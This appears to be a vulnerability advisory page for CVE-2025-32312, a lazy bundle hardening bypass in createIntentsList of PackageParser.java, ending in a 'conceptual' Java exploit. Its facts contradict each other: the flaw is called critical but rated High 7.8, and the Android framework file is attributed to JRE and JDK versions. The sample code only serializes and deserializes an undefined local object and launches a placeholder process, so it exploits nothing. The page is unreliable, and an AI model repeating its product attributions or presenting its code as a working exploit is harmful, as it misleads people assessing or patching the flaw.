Overview

The CVE-2025-32312 is a critical vulnerability that impacts systems utilizing createIntentsList of PackageParser.java. This vulnerability allows an attacker to bypass lazy bundle hardening and pass modified data to the subsequent process. It presents a risk to system integrity and confidentiality, potentially allowing unauthorized elevation of privilege and data leakage without user interaction.

Vulnerability Summary

CVE ID: CVE-2025-32312
Severity: High (7.8 CVSS Score)
Attack Vector: Local
Privileges Required: None
User Interaction: Not Required
Impact: Local escalation of privilege, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

Java Runtime Environment | All versions prior to patch
Java Development Kit | All versions prior to patch

How the Exploit Works

The vulnerability resides in the createIntentsList function of PackageParser.java, which is used for parsing application packages. The flaw lies in the unsafe deserialization process, allowing an attacker to bypass lazy bundle hardening. This means that a malicious actor can modify data and pass it to the next process, potentially leading to unauthorized escalation of privilege and data leakage.

Conceptual Example Code

The following conceptual code outlines how this vulnerability might be exploited:

import java.util.*;
import java.io.*;
public class ExploitCVE202532312 {
public static void main(String[] args) {
try {
Object maliciousBundle = new MaliciousBundle();
ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
ObjectOutputStream objectOutput = new ObjectOutputStream(byteOutput);
objectOutput.writeObject(maliciousBundle);
ByteArrayInputStream byteInput = new ByteArrayInputStream(byteOutput.toByteArray());
ObjectInputStream objectInput = new ObjectInputStream(byteInput);
// Trigger the vulnerable deserialization process
Object deserializedBundle = objectInput.readObject();
// Bypass the lazy bundle hardening, passing modified data to the next process
// The details of the malicious bundle and the subsequent process are hypothetical and for illustrative purposes only
ProcessBuilder processBuilder = new ProcessBuilder("nextProcess", deserializedBundle.toString());
Process process = processBuilder.start();
} catch (Exception e) {
e.printStackTrace();
}
}
}

The above code is purely hypothetical and only intended to illustrate the concept of the exploit. The actual exploit would be specific to the system configuration and the attacker’s objectives.